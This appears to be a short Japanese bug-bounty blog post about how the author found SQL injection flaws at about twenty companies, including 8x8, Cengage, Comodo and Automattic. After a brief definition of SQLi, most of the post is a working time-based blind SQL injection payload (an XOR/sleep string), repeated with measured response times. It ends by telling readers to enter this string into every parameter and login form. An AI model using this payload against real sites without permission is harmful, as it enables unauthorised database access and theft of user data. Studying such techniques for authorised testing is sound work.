Hello there, ('ω')ノ
8x8、Cengage、Comodo、Automattic、20社でSQLiを見つけた方法を。
脆弱性：
SQLインジェクション
記事：
SQLインジェクション（SQLi）とは。
攻撃者がアプリケーションがデータベースに対して行うクエリを妨害することを。
可能にするWebセキュリティの脆弱性で。
攻撃者は、通常は取得できないデータを表示できて。
これには、他のユーザーに属するデータ、またはアプリケーション自体が。
アクセスできる他のデータが含まれる場合があって。
多くの場合、攻撃者はこのデータを変更または削除して。
アプリケーションのコンテンツや動作に永続的な変更を加える可能性があって。
ウェブサイトで、SQLインジェクションを見つけるのは簡単で。
ウェブサイトでテストするために必要なものは、Burpだけで。
sleep(12)を追加した場合、応答時間はWebページを閲覧するのに12秒必要で。
sleep(20)を追加した場合、20秒後にページを表示して。
0"XOR(if(now()=sysdate(),sleep(12),0))XOR”Z ⇨ 12.508秒
0"XOR(if(now()=sysdate(),sleep(12),0))XOR”Z ⇨ 12.543秒
0"XOR(if(now()=sysdate(),sleep(0), 0))XOR”Z ⇨ 0.523秒
0"XOR(if(now()=sysdate(),sleep(6), 0))XOR”Z ⇨ 6.565秒
0"XOR(if(now()=sysdate(),sleep(3), 0))XOR”Z ⇨ 3.518秒
0"XOR(if(now()=sysdate(),sleep(0), 0))XOR”Z ⇨ 0.502秒
0"XOR(if(now()=sysdate(),sleep(12),0))XOR”Z ⇨ 12.491秒
0"XOR(if(now()=sysdate(),sleep(6), 0))XOR”Z ⇨ 6.508秒
0"XOR(if(now()=sysdate(),sleep(0), 0))XOR”Z ⇨ 0.695秒
私はこれを使用してSQLインジェクションを見つけて。
この方法で20社をハッキングして。
SQLインジェクションを見つける方法は。
このコマンドをすべてのパラメータとログインフォームに入力して。
Best regards, (^^ゞ
